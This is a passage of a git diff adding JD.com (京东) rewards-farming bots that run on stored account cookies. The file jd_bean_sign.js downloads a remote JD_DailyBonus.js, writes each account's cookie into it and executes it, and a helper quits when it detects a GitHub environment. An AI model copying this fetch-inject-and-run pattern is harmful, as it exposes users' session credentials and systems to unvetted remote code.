{ + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === '0' && data['data']) { + console.log(`强制开启新版领京豆成功,获得${data['data']['sceneLevelConfig']['beanNum']}京豆\n`); + $.msg($.name, '', `强制开启新版领京豆成功\n获得${data['data']['sceneLevelConfig']['beanNum']}京豆`); + } else { + console.log(`强制开启新版领京豆结果:${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskGetUrl(function_id, body) { + return { + url: `${JD_API_HOST}client.action?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld&clientVersion=9.2.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded" + } + } +} + + +function taskUrl(function_id, body) { + body["version"] = "9.0.0.1"; + body["monitor_source"] = "plant_app_plant_index"; + body["monitor_refer"] = ""; + return { + url: JD_API_HOST, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld&client=apple&area=5_274_49707_49973&build=167283&clientVersion=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded" + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_bean_sign.js b/jd_bean_sign.js new file mode 100644 index 0000000..07c8e69 --- /dev/null +++ b/jd_bean_sign.js @@ -0,0 +1,286 @@ +/* +京东多合一签到,自用,可N个京东账号 +活动入口:各处的签到汇总 +Node.JS专用 +IOS软件用户请使用 https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js +更新时间:2021-5-6 +推送通知默认简洁模式(多账号只发送一次)。如需详细通知,设置环境变量 JD_BEAN_SIGN_NOTIFY_SIMPLE 为false即可(N账号推送N次通知)。 +Modified From github https://github.com/ruicky/jd_sign_bot + */ +const $ = new Env('京东多合一签到'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const exec = require('child_process').execSync +const fs = require('fs') +const download = require('download'); +let resultPath = "./result.txt"; +let JD_DailyBonusPath = "./JD_DailyBonus.js"; +let outPutUrl = './'; +let NodeSet = 'CookieSet.json'; +let cookiesArr = [], cookie = '', allMessage = ''; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} +!(async() => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + process.env.JD_BEAN_SIGN_NOTIFY_SIMPLE = process.env.JD_BEAN_SIGN_NOTIFY_SIMPLE ? process.env.JD_BEAN_SIGN_NOTIFY_SIMPLE : 'true'; + await requireConfig(); + // 下载最新代码 + await downFile(); + if (!await fs.existsSync(JD_DailyBonusPath)) { + console.log(`\nJD_DailyBonus.js 文件不存在,停止执行${$.name}\n`); + await notify.sendNotify($.name, `本次执行${$.name}失败,JD_DailyBonus.js 文件下载异常,详情请查看日志`) + return + } + const content = await fs.readFileSync(JD_DailyBonusPath, 'utf8') + for (let i =0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.nickName = ''; + await TotalBean(); + console.log(`*****************开始京东账号${$.index} ${$.nickName || $.UserName}京豆签到*******************\n`); + await changeFile(content); + await execSign(); + } + } + //await deleteFile(JD_DailyBonusPath);//删除下载的JD_DailyBonus.js文件 + if ($.isNode() && allMessage && process.env.JD_BEAN_SIGN_NOTIFY_SIMPLE === 'true') { + $.msg($.name, '', allMessage); + await notify.sendNotify($.name, allMessage) + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) +async function execSign() { + console.log(`\n开始执行 ${$.name} 签到,请稍等...\n`); + try { + // if (notify.SCKEY || notify.BARK_PUSH || notify.DD_BOT_TOKEN || (notify.TG_BOT_TOKEN && notify.TG_USER_ID) || notify.IGOT_PUSH_KEY || notify.QQ_SKEY) { + // await exec(`${process.execPath} ${JD_DailyBonusPath} >> ${resultPath}`); + // const notifyContent = await fs.readFileSync(resultPath, "utf8"); + // console.log(`👇👇👇👇👇👇👇👇👇👇👇LOG记录👇👇👇👇👇👇👇👇👇👇👇\n${notifyContent}\n👆👆👆👆👆👆👆👆👆LOG记录👆👆👆👆👆👆👆👆👆👆👆`); + // } else { + // console.log('没有提供通知推送,则打印脚本执行日志') + // await exec(`${process.execPath} ${JD_DailyBonusPath}`, { stdio: "inherit" }); + // } + await exec(`${process.execPath} ${JD_DailyBonusPath} >> ${resultPath}`); + const notifyContent = await fs.readFileSync(resultPath, "utf8"); + console.error(`👇👇👇👇👇👇👇👇👇👇👇签到详情👇👇👇👇👇👇👇👇👇👇👇\n${notifyContent}\n👆👆👆👆👆👆👆👆👆签到详情👆👆👆👆👆👆👆👆👆👆👆`); + // await exec("node JD_DailyBonus.js", { stdio: "inherit" }); + // console.log('执行完毕', new Date(new Date().getTime() + 8 * 3600000).toLocaleDateString()) + //发送通知 + let BarkContent = ''; + if (fs.existsSync(resultPath)) { + const barkContentStart = notifyContent.indexOf('【签到概览】') + const barkContentEnd = notifyContent.length; + if (process.env.JD_BEAN_SIGN_STOP_NOTIFY !== 'true') { + if (process.env.JD_BEAN_SIGN_NOTIFY_SIMPLE === 'true') { + if (barkContentStart > -1 && barkContentEnd > -1) { + BarkContent = notifyContent.substring(barkContentStart, barkContentEnd); + } + BarkContent = BarkContent.split('\n\n')[0]; + } else { + if (barkContentStart > -1 && barkContentEnd > -1) { + BarkContent = notifyContent.substring(barkContentStart, barkContentEnd); + } + } + } + } + //不管哪个时区,这里得到的都是北京时间的时间戳; + const UTC8 = new Date().getTime() + new Date().getTimezoneOffset()*60000 + 28800000; + $.beanSignTime = new Date(UTC8).toLocaleString('zh', {hour12: false}); + //console.log(`脚本执行完毕时间:${$.beanSignTime}`) + if (BarkContent) { + allMessage += `【京东号 ${$.index}】: ${$.nickName || $.UserName}\n【签到时间】: ${$.beanSignTime}\n${BarkContent}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + if (!process.env.JD_BEAN_SIGN_NOTIFY_SIMPLE || (process.env.JD_BEAN_SIGN_NOTIFY_SIMPLE && process.env.JD_BEAN_SIGN_NOTIFY_SIMPLE !== 'true')) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}`, `【签到号 ${$.index}】: ${$.nickName || $.UserName}\n【签到时间】: ${$.beanSignTime}\n${BarkContent}`); + } + } + //运行完成后,删除下载的文件 + await deleteFile(resultPath);//删除result.txt + console.log(`\n\n*****************${new Date(new Date().getTime()).toLocaleString('zh', {hour12: false})} 京东账号${$.index} ${$.nickName || $.UserName} ${$.name}完成*******************\n\n`); + } catch (e) { + console.log("京东签到脚本执行异常:" + e); + } +} +async function downFile () { + let url = ''; + await downloadUrl(); + if ($.body) { + url = 'https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js'; + } else { + url = 'https://cdn.jsdelivr.net/gh/NobyDa/Script@master/JD-DailyBonus/JD_DailyBonus.js'; + } + try { + const options = { } + if (process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + await download(url, outPutUrl, options); + console.log(`JD_DailyBonus.js文件下载完毕\n\n`); + } catch (e) { + console.log("JD_DailyBonus.js 文件下载异常:" + e); + } +} + +async function changeFile (content) { + console.log(`开始替换变量`) + let newContent = content.replace(/var Key = '.*'/, `var Key = '${cookie}'`); + newContent = newContent.replace(/const NodeSet = 'CookieSet.json'/, `const NodeSet = '${NodeSet}'`) + if (process.env.JD_BEAN_STOP && process.env.JD_BEAN_STOP !== '0') { + newContent = newContent.replace(/var stop = '0'/, `var stop = '${process.env.JD_BEAN_STOP}'`); + } + const zone = new Date().getTimezoneOffset(); + if (zone === 0) { + //此处针对UTC-0时区用户做的 + newContent = newContent.replace(/tm\s=.*/, `tm = new Date(new Date().toLocaleDateString()).getTime() - 28800000;`); + } + try { + await fs.writeFileSync(JD_DailyBonusPath, newContent, 'utf8'); + console.log('替换变量完毕'); + } catch (e) { + console.log("京东签到写入文件异常:" + e); + } +} +async function deleteFile(path) { + // 查看文件result.txt是否存在,如果存在,先删除 + const fileExists = await fs.existsSync(path); + // console.log('fileExists', fileExists); + if (fileExists) { + const unlinkRes = await fs.unlinkSync(path); + // console.log('unlinkRes', unlinkRes) + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + }, + "timeout": 10000 + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function downloadUrl(url = 'https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js') { + return new Promise(resolve => { + const options = { url, "timeout": 10000 }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + // console.log(`${JSON.stringify(err)}`) + console.log(`检测到您当前网络环境不能访问外网,将使用jsdelivr CDN下载JD_DailyBonus.js文件`); + await $.http.get({url: `https://purge.jsdelivr.net/gh/NobyDa/Script@master/JD-DailyBonus/JD_DailyBonus.js`, timeout: 10000}).then((resp) => { + if (resp.statusCode === 200) { + let { body } = resp; + body = JSON.parse(body); + if (body['success']) { + console.log(`JD_DailyBonus.js文件 CDN刷新成功`) + } else { + console.log(`JD_DailyBonus.js文件 CDN刷新失败`) + } + } + }); + } else { + $.body = data; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function requireConfig() { + return new Promise(resolve => { + // const file = 'jd_bean_sign.js'; + // fs.access(file, fs.constants.W_OK, (err) => { + // resultPath = err ? '/tmp/result.txt' : resultPath; + // JD_DailyBonusPath = err ? '/tmp/JD_DailyBonus.js' : JD_DailyBonusPath; + // outPutUrl = err ? '/tmp/' : outPutUrl; + // NodeSet = err ? '/tmp/CookieSet.json' : NodeSet; + // resolve() + // }); + //判断是否是云函数环境。原函数跟目录目录没有可写入权限,文件只能放到根目录下虚拟的/temp/文件夹(具有可写入权限) + resultPath = process.env.TENCENTCLOUD_RUNENV === 'SCF' ? '/tmp/result.txt' : resultPath; + JD_DailyBonusPath = process.env.TENCENTCLOUD_RUNENV === 'SCF' ? '/tmp/JD_DailyBonus.js' : JD_DailyBonusPath; + outPutUrl = process.env.TENCENTCLOUD_RUNENV === 'SCF' ? '/tmp/' : outPutUrl; + NodeSet = process.env.TENCENTCLOUD_RUNENV === 'SCF' ? '/tmp/CookieSet.json' : NodeSet; + resolve() + }) +} +function timeFormat(time) { + let date; + if (time) { + date = new Date(time) + } else { + date = new Date(); + } + return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); +} +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const 